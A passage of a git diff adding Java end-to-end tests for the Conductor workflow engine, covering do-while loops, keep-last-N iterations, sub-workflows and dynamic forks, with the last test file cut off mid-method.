WorkflowClient workflowClient; + private static TaskClient taskClient; + private static final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + private static final TypeReference WORKFLOW_DEF = new TypeReference<>() {}; + + @SneakyThrows + @BeforeAll + public static void beforeAll() { + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + workflowClient = ApiUtil.WORKFLOW_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + + InputStream resource = + DoWhileEdgeCasesTests.class.getResourceAsStream( + "/metadata/do_while_wait_switch_iteration_test.json"); + assert resource != null; + WorkflowDef workflowDef = + objectMapper.readValue(new InputStreamReader(resource), WORKFLOW_DEF); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + log.info("Registered workflow definition: {}", workflowDef.getName()); + + resource = + DoWhileEdgeCasesTests.class.getResourceAsStream( + "/metadata/do_while_keep_last_n_switch_test.json"); + assert resource != null; + workflowDef = objectMapper.readValue(new InputStreamReader(resource), WORKFLOW_DEF); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + log.info("Registered workflow definition: {}", workflowDef.getName()); + + resource = + DoWhileEdgeCasesTests.class.getResourceAsStream("/metadata/stackoverflower.json"); + assert resource != null; + workflowDef = objectMapper.readValue(new InputStreamReader(resource), WORKFLOW_DEF); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + log.info("Registered workflow definition: {}", workflowDef.getName()); + } + + @AfterAll + public static void cleanup() { + try { + workflowIdsToTerminate.forEach( + id -> { + workflowClient.terminateWorkflow( + id, + String.format( + "Terminated by cleanup in %s", + DoWhileEdgeCasesTests.class.getSimpleName())); + }); + } catch (Exception e) { + if (!e.getMessage().contains("Cannot terminate a COMPLETED workflow.")) { + log.error( + "Error while cleaning up in {} : {}", + DoWhileEdgeCasesTests.class.getSimpleName(), + e.getMessage(), + e); + } + } + } + + @Test + public void testDoWhileWaitSwitchIteration() { + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("do_while_wait_switch_iteration_test"); + String workflowId = workflowClient.startWorkflow(request); + log.info("Started workflow {}", workflowId); + workflowIdsToTerminate.add(workflowId); + + // Update the wait task 10 times: 9 times with "b" and 1 time with "a" + for (int i = 0; i < 10; i++) { + final int iteration = i; + // Poll every second to check if the workflow is in the wait task + // HTTP task before WAIT can take several seconds; allow 30s for conductor-oss postgres + await().pollInterval(1, TimeUnit.SECONDS) + .atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + + // Find the wait task in the current iteration + Task waitTask = + workflow.getTasks().stream() + .filter( + t -> + t.getTaskType().equals("WAIT") + && t.getStatus() + == Task.Status + .IN_PROGRESS) + .findFirst() + .orElse(null); + + assertNotNull( + waitTask, + "Wait task should be in progress at iteration " + + iteration); + }); + + // Get the workflow and find the wait task + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + Task waitTask = + workflow.getTasks().stream() + .filter( + t -> + t.getTaskType().equals("WAIT") + && t.getStatus() == Task.Status.IN_PROGRESS) + .findFirst() + .orElseThrow(() -> new RuntimeException("Wait task not found")); + + // Update the wait task with the appropriate result + TaskResult taskResult = new TaskResult(); + taskResult.setTaskId(waitTask.getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskResult.setWorkflowInstanceId(workflowId); + + if (i < 9) { + // First 9 times: update with "b" + taskResult.setOutputData(Map.of("result", "b")); + log.info("Updating wait task iteration {} with result 'b'", i); + } else { + // 10th time: update with "a" + taskResult.setOutputData(Map.of("result", "a")); + log.info("Updating wait task iteration {} with result 'a'", i); + } + + taskClient.updateTask(taskResult); + } + + await().pollInterval(1, TimeUnit.SECONDS) + .atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflow.getStatus(), + "Workflow should be completed"); + }); + + // Assert that the do_while iterated 10 times + Workflow finalWorkflow = workflowClient.getWorkflow(workflowId, true); + Task doWhileTask = finalWorkflow.getTaskByRefName("do_while_ref"); + assertNotNull(doWhileTask, "do_while task should exist"); + + // Check the iteration count in the output + Object iteration = doWhileTask.getOutputData().get("iteration"); + assertNotNull(iteration, "iteration field should exist in do_while task output"); + assertEquals(10, iteration, "do_while should have iterated 10 times"); + + log.info("Test completed successfully. Do-while iterated {} times", iteration); + } + + @Test + public void testDoWhileKeepLastNSwitch() { + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("do_while_keep_last_n_switch_test"); + String workflowId = workflowClient.startWorkflow(request); + log.info("Started workflow {}", workflowId); + workflowIdsToTerminate.add(workflowId); + + // Await for the workflow to finish + // This workflow runs automatically and stops when iteration > 25 + await().pollInterval(1, TimeUnit.SECONDS) + .atMost(2, TimeUnit.MINUTES) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflow.getStatus(), + "Workflow should be completed"); + }); + + // Assert that the do_while iterated 26 times + Workflow finalWorkflow = workflowClient.getWorkflow(workflowId, true); + Task doWhileTask = finalWorkflow.getTaskByRefName("do_while_ref"); + assertNotNull(doWhileTask, "do_while task should exist"); + + Object iteration = doWhileTask.getOutputData().get("iteration"); + assertNotNull(iteration, "iteration field should exist in do_while task output"); + assertEquals(26, iteration, "do_while should have iterated 26 times"); + + log.info("Test completed successfully. Do-while iterated {} times", iteration); + } + + @Test + public void testStackoverflower() { + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName("stackoverflower"); + // n=50: enough to test no StackOverflowError while completing within the 30s HTTP timeout. + // The decide loop runs INLINE tasks synchronously; 999 iterations exceeds the timeout. + request.setInput(Map.of("n", 50)); + String workflowId = workflowClient.startWorkflow(request); + log.info("Started workflow {}", workflowId); + workflowIdsToTerminate.add(workflowId); + + await().pollInterval(1, TimeUnit.SECONDS) + .atMost(2, TimeUnit.MINUTES) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflow.getStatus(), + "Workflow should be completed"); + }); + + Workflow finalWorkflow = workflowClient.getWorkflow(workflowId, true); + Task loopTask = finalWorkflow.getTaskByRefName("loop_ref"); + assertNotNull(loopTask, "loop task should exist"); + + Object iteration = loopTask.getOutputData().get("iteration"); + assertNotNull(iteration, "iteration field should exist in loop task output"); + assertEquals(50, iteration, "loop should have iterated 50 times"); + + log.info( + "testStackoverflower completed. Loop iterated {} times (no StackOverflowError)", + iteration); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/control/DoWhileTests.java b/e2e/src/test/java/io/conductor/e2e/control/DoWhileTests.java new file mode 100644 index 0000000..eb8c3a0 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/control/DoWhileTests.java @@ -0,0 +1,363 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.control; + +import java.io.InputStream; +import java.io.InputStreamReader; +import java.time.Duration; +import java.util.ArrayList; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.Workflow; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; +import static org.junit.jupiter.api.Assertions.assertTrue; + +@Slf4j +public class DoWhileTests { + + private static final String WORKFLOW_NAME = "DoWhileEarlyEvalScript"; + private static final String WORKFLOW_NAME_KEEP_LAST_N = "keep_last_n_example"; + private static final String WORKFLOW_NAME_KEEP_LAST_N_2 = "keep_last_n_example_2"; + private static final String WORKFLOW_NAME_KEEP_LAST_N_3 = "keep_last_n_example_3"; + private static final String DO_WHILE_SET_VARIABLE_FIX = "do-while-set-variable-fix"; + private static final List workflowIdsToTerminate = new ArrayList<>(); + private static WorkflowClient workflowClient; + private static com.netflix.conductor.client.http.TaskClient taskClient; + private static MetadataClient metadataClient; + private static final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + private static final TypeReference> WORKFLOW_DEF_LIST = + new TypeReference>() {}; + + @SneakyThrows + @BeforeAll + public static void beforeAll() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + InputStream resource = + DoWhileTests.class.getResourceAsStream( + "/metadata/do_while_early_script_eval_wf.json"); + assert resource != null; + List workflowDefs = + objectMapper.readValue(new InputStreamReader(resource), WORKFLOW_DEF_LIST); + resource = + DoWhileTests.class.getResourceAsStream("/metadata/do_while_keep_last_n_fix.json"); + assert resource != null; + workflowDefs.addAll( + objectMapper.readValue(new InputStreamReader(resource), WORKFLOW_DEF_LIST)); + metadataClient.updateWorkflowDefs(workflowDefs); + log.info( + "Updated workflow definitions: {}", + workflowDefs.stream().map(WorkflowDef::getName).collect(Collectors.toList())); + } + + @AfterAll + public static void cleanup() { + try { + workflowIdsToTerminate.forEach( + id -> { + workflowClient.terminateWorkflow( + id, + String.format( + "Terminated by cleanup in %s", + DoWhileTests.class.getSimpleName())); + }); + } catch (Exception e) { + if (!e.getMessage().contains("Cannot terminate a COMPLETED workflow.")) { + log.error( + "Error while cleaning up in {} : {}", + DoWhileTests.class.getSimpleName(), + e.getMessage(), + e); + } + } + } + + @Test + public void testDoWhileScriptIsNotEvaledEarlyWhenSyncSystemTaskInside() { + + int errorCounter = 0; + for (int i = 0; i < 10; ++i) { + try { + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(WORKFLOW_NAME); + request.setInput(Map.of("namespace_id", "namespace_spa_sAPhRsGAGAbYNUSNZN3Jts")); + String workflowId = workflowClient.startWorkflow(request); + log.info("Started {}", workflowId); + workflowIdsToTerminate.add(workflowId); + + try { + Thread.sleep(300); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + String taskId1 = + workflowClient + .getWorkflow(workflowId, true) + .getTaskByRefName("reserve_token_ref") + .getTaskId(); + TaskResult taskResult1 = new TaskResult(); + taskResult1.setTaskId(taskId1); + taskResult1.setStatus(TaskResult.Status.COMPLETED); + taskResult1.setOutputData(Map.of("token_id", "2WdNxfi5p4lGPzbZD3IpDvruaWs")); + taskResult1.setWorkflowInstanceId(workflowId); + taskClient.updateTask(taskResult1); + + try { + Thread.sleep(300); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + String taskId2 = + workflowClient + .getWorkflow(workflowId, true) + .getTaskByRefName("acquire_token_ref") + .getTaskId(); + TaskResult taskResult2 = new TaskResult(); + taskResult2.setTaskId(taskId2); + taskResult2.setStatus(TaskResult.Status.COMPLETED); + taskResult2.setOutputData(Map.of("acquired_at", 1697058745255L)); + taskResult2.setWorkflowInstanceId(workflowId); + taskClient.updateTask(taskResult2); + + try { + Thread.sleep(300); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + String taskId3 = + workflowClient + .getWorkflow(workflowId, true) + .getTaskByRefName("predictions_start_daily_bq_export_pipeline__1") + .getTaskId(); + TaskResult taskResult3 = new TaskResult(); + taskResult3.setTaskId(taskId3); + taskResult3.setStatus(TaskResult.Status.COMPLETED); + taskResult3.setOutputData( + Map.of( + "query_end_time", + "2023-10-11T20:42:00Z", + "pipeline_started_at_rfc", + "2023-10-11T21:12:27Z", + "pipeline_uid", + "2WdNxykVDIDX9XpU5mtPtF0bZJi", + "namespace_enabled", + true)); + taskResult3.setWorkflowInstanceId(workflowId); + taskClient.updateTask(taskResult3); + + try { + Thread.sleep(1000); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + Assertions.assertEquals( + workflow.getTaskByRefName("if_terminate_condition__1").getStatus(), + Task.Status.COMPLETED); + Assertions.assertEquals( + workflow.getTaskByRefName("predictions_daily_bq_export_pipeline_loop") + .getStatus(), + Task.Status.IN_PROGRESS); + Assertions.assertEquals( + workflow.getTaskByRefName( + "predictions_get_daily_bq_export_pipeline_status_long_running__1") + .getStatus(), + Task.Status.SCHEDULED); + + String taskId4 = + workflow.getTaskByRefName( + "predictions_get_daily_bq_export_pipeline_status_long_running__1") + .getTaskId(); + TaskResult taskResult4 = new TaskResult(); + taskResult4.setTaskId(taskId4); + taskResult4.setStatus(TaskResult.Status.COMPLETED); + taskResult4.setOutputData(Map.of()); + taskResult4.setWorkflowInstanceId(workflowId); + taskClient.updateTask(taskResult4); + + try { + Thread.sleep(300); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + String taskId5 = + workflowClient + .getWorkflow(workflowId, true) + .getTaskByRefName( + "predictions_process_daily_bq_export_pipeline_results__1") + .getTaskId(); + TaskResult taskResult5 = new TaskResult(); + taskResult5.setTaskId(taskId5); + taskResult5.setStatus(TaskResult.Status.COMPLETED); + taskResult5.setOutputData(Map.of()); + taskResult5.setWorkflowInstanceId(workflowId); + workflow = + taskClient.updateTaskSync( + workflowId, + "predictions_process_daily_bq_export_pipeline_results__1", + TaskResult.Status.COMPLETED, + Map.of()); + + Assertions.assertEquals( + Task.Status.COMPLETED, + workflow.getTaskByRefName("predictions_daily_bq_export_pipeline_loop") + .getStatus()); + Assertions.assertEquals( + workflow.getTaskByRefName("return_token_ref").getStatus(), + Task.Status.SCHEDULED); + + String taskId6 = workflow.getTaskByRefName("return_token_ref").getTaskId(); + TaskResult taskResult6 = new TaskResult(); + taskResult6.setTaskId(taskId6); + taskResult6.setStatus(TaskResult.Status.COMPLETED); + taskResult6.setOutputData(Map.of()); + taskResult6.setWorkflowInstanceId(workflowId); + taskClient.updateTask(taskResult6); + workflowClient.runDecider(workflowId); + workflow = workflowClient.getWorkflow(workflowId, true); + Assertions.assertEquals(Workflow.WorkflowStatus.COMPLETED, workflow.getStatus()); + } catch (Exception e) { + String message = e.getMessage(); + if (message != null + && !message.toLowerCase(Locale.ROOT).contains("socket") + && !message.toLowerCase(Locale.ROOT).contains("timeout")) { + log.info("timeout error, skipping"); + } else { + errorCounter++; + } + log.error("Error for iteration {}: {}", i, message, e); + } + } + + log.info( + "testDoWhileScriptIsNotEvaledEarlyWhenSyncSystemTaskInside error counter: {}", + errorCounter); + if (errorCounter > 0) { + throw new RuntimeException("Failed"); + } + } + + @Test + public void testKeepLstN3() { + // Fork with do_while each different keepLastN + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(WORKFLOW_NAME_KEEP_LAST_N_3); + request.setInput( + Map.of( + "batch", + List.of( + List.of(1, 2), + List.of(3, 4), + List.of(5, 6), + List.of(7, 8), + List.of(9, 10)))); + String workflowId = workflowClient.startWorkflow(request); + + // Update all the task till workflow is COMPLETED. + for (int i = 0; i < 5; i++) { + try { + Thread.sleep(500); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + taskClient.updateTaskSync( + workflowId, "simple_ref_1", TaskResult.Status.COMPLETED, Map.of()); + try { + Thread.sleep(500); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + taskClient.updateTaskSync( + workflowId, "simple_ref", TaskResult.Status.COMPLETED, Map.of()); + try { + Thread.sleep(500); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + taskClient.updateTaskSync( + workflowId, "simple_ref_2", TaskResult.Status.COMPLETED, Map.of()); + } + await().pollInterval(2000, TimeUnit.MILLISECONDS) + .atMost(25, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + Assertions.assertNotNull(workflow); + Assertions.assertEquals( + Workflow.WorkflowStatus.COMPLETED, workflow.getStatus()); + Assertions.assertNotNull(workflow.getTasks()); + // There must be 18 tasks. 1 fork, set_variable, inline, + Assertions.assertEquals(18, workflow.getTasks().size()); + }); + } + + @Test + public void testDoWhileSetVariableFix() { + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(DO_WHILE_SET_VARIABLE_FIX); + String workflowId = workflowClient.startWorkflow(request); + // Sleep to allow the workflow to complete. + // The workflow has two sequential WAIT tasks with 2-second duration each. + // With conductor-oss postgres queue, WAIT sweeper adds ~10s overhead per task, + // so 2 tasks need ~25-30s total. + try { + Thread.sleep(30000); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + await().pollInterval(Duration.ofSeconds(1)) + .atMost(Duration.ofSeconds(30)) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertNotNull(workflow); + assertNotNull(workflow.getTasks()); + assertEquals(8, workflow.getTasks().size()); + assertEquals( + "wait_ref_1__1", + workflow.getTasks().get(5).getReferenceTaskName()); + // Check that second iteration is scheduled after the second wait task. + assertTrue( + workflow.getTasks().get(6).getStartTime() + > workflow.getTasks().get(5).getEndTime()); + assertTrue( + workflow.getTasks().get(7).getStartTime() + > workflow.getTasks().get(5).getEndTime()); + }); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/control/DoWhileWithDomainTests.java b/e2e/src/test/java/io/conductor/e2e/control/DoWhileWithDomainTests.java new file mode 100644 index 0000000..17986cf --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/control/DoWhileWithDomainTests.java @@ -0,0 +1,189 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.control; + +import java.util.Arrays; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.apache.commons.lang3.RandomStringUtils; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; +import lombok.extern.slf4j.Slf4j; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +@Slf4j +public class DoWhileWithDomainTests { + + @Test + public void testSubWorkflow0version() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + String parentWorkflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + + // Register workflow + registerInlineWorkflowDef(parentWorkflowName, metadataClient); + + // Trigger workflow + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(parentWorkflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + log.info("workflowId: {}", workflowId); + System.out.println("workflowId : " + workflowId); + + await().atMost(33, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertTrue( + !workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .isEmpty()); + }); + // User1 should be able to complete task/workflow + String taskRefName = + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .get(0) + .getReferenceTaskName(); + taskClient.updateTaskSync(workflowId, taskRefName, TaskResult.Status.COMPLETED, Map.of()); + + final String[] subWorkflowId = new String[1]; + await().atMost(33, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow latestWorkflow = workflowClient.getWorkflow(workflowId, true); + assertEquals( + latestWorkflow.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + assertTrue(latestWorkflow.getTasks().size() > 1); + assertEquals( + latestWorkflow.getTasks().get(0).getStatus(), + Task.Status.COMPLETED); + assertEquals( + latestWorkflow.getTasks().get(1).getStatus(), + Task.Status.IN_PROGRESS); + subWorkflowId[0] = latestWorkflow.getTasks().get(1).getSubWorkflowId(); + assertTrue(subWorkflowId[0] != null && !subWorkflowId[0].isBlank()); + }); + + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(subWorkflowId[0]); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskResult.setTaskId(awaitFirstTaskId(workflowClient, subWorkflowId[0])); + taskClient.updateTask(taskResult); + + // Wait for workflow to get completed + await().atMost(33, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getTasks().get(0).getStatus(), Task.Status.COMPLETED); + assertEquals( + workflow1.getTasks().get(1).getStatus(), Task.Status.COMPLETED); + }); + + // Cleanup + metadataClient.unregisterWorkflowDef(parentWorkflowName, 1); + } + + private String awaitFirstTaskId(WorkflowClient workflowClient, String workflowId) { + final String[] taskId = new String[1]; + await().atMost(33, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertTrue(!workflow.getTasks().isEmpty()); + taskId[0] = workflow.getTasks().get(0).getTaskId(); + assertTrue(taskId[0] != null && !taskId[0].isBlank()); + }); + return taskId[0]; + } + + private void registerInlineWorkflowDef(String workflowName, MetadataClient metadataClient1) { + TaskDef taskDef = new TaskDef("dt1"); + taskDef.setOwnerEmail("test@conductor.io"); + + TaskDef taskDef2 = new TaskDef("dt2"); + taskDef2.setOwnerEmail("test@conductor.io"); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("dt2"); + workflowTask.setName("dt2"); + workflowTask.setTaskDefinition(taskDef2); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask inline = new WorkflowTask(); + inline.setTaskReferenceName("dt1"); + inline.setName("dt1"); + inline.setTaskDefinition(taskDef); + inline.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask inlineSubworkflow = new WorkflowTask(); + inlineSubworkflow.setTaskReferenceName("dynamicFork"); + inlineSubworkflow.setName("dynamicFork"); + inlineSubworkflow.setTaskDefinition(taskDef); + inlineSubworkflow.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + + WorkflowDef inlineWorkflowDef = new WorkflowDef(); + inlineWorkflowDef.setName("inline_test_sub_workflow"); + inlineWorkflowDef.setVersion(1); + inlineWorkflowDef.setTimeoutSeconds(600); + inlineWorkflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + inlineWorkflowDef.setTasks(Arrays.asList(inline)); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName("inline_test_sub_workflow"); + subWorkflowParams.setVersion(1); + subWorkflowParams.setWorkflowDef(inlineWorkflowDef); + inlineSubworkflow.setSubWorkflowParam(subWorkflowParams); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to test inline sub_workflow definition"); + workflowDef.setTasks(Arrays.asList(workflowTask, inlineSubworkflow)); + try { + metadataClient1.updateWorkflowDefs(java.util.List.of(workflowDef)); + metadataClient1.registerTaskDefs(Arrays.asList(taskDef, taskDef2)); + } catch (Exception e) { + } + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/control/DynamicForkTests.java b/e2e/src/test/java/io/conductor/e2e/control/DynamicForkTests.java new file mode 100644 index 0000000..91ca886 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/control/DynamicForkTests.java @@ -0,0 +1,785 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.control; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.automator.TaskRunnerConfigurer; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.client.worker.Worker; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; +import io.conductor.e2e.util.TestUtil; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_JOIN; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +@Slf4j +public class DynamicForkTests { + + @Test + public void testTaskDynamicForkOptional() { + WorkflowClient workflowAdminClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataAdminClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + String workflowName1 = "DynamicFanInOutTest"; + + // Register workflow + registerWorkflowDef(workflowName1, metadataAdminClient); + + // Trigger workflow + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName1); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowAdminClient.startWorkflow(startWorkflowRequest); + + Workflow workflow = workflowAdminClient.getWorkflow(workflowId, true); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(0).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + + WorkflowTask workflowTask2 = new WorkflowTask(); + workflowTask2.setName("integration_task_2"); + workflowTask2.setTaskReferenceName("xdt1"); + + WorkflowTask workflowTask3 = new WorkflowTask(); + workflowTask3.setName("integration_task_3"); + workflowTask3.setTaskReferenceName("xdt2"); + workflowTask3.setOptional(true); + + Map output = new HashMap<>(); + Map> input = new HashMap<>(); + input.put("xdt1", Map.of("k1", "v1")); + input.put("xdt2", Map.of("k2", "v2")); + output.put("dynamicTasks", Arrays.asList(workflowTask2, workflowTask3)); + output.put("dynamicTasksInput", input); + taskResult.setOutputData(output); + taskClient.updateTask(taskResult); + + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowAdminClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + assertTrue(workflow1.getTasks().size() == 5); + assertEquals( + workflow1.getTasks().get(2).getStatus().name(), + Task.Status.SCHEDULED.name()); + assertEquals( + workflow1.getTasks().get(3).getStatus().name(), + Task.Status.SCHEDULED.name()); + assertEquals( + workflow1.getTasks().get(4).getStatus().name(), + Task.Status.IN_PROGRESS.name()); + }); + + workflow = workflowAdminClient.getWorkflow(workflowId, true); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(workflow.getTasks().get(3).getTaskId()); + taskResult.setStatus(TaskResult.Status.FAILED); + taskClient.updateTask(taskResult); + + // Since the tasks are marked as optional. The workflow should be in running state. + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + try { + Workflow workflow1 = + workflowAdminClient.getWorkflow(workflowId, true); + 